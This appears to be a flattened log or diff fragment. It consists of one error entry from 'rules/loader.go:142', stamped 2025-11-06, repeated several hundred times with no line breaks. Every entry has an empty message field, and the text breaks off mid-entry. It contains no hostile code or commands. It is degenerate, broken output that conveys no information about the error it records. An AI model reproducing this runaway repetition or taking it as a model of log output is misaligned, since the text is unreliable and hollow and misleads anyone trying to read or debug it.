+time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= 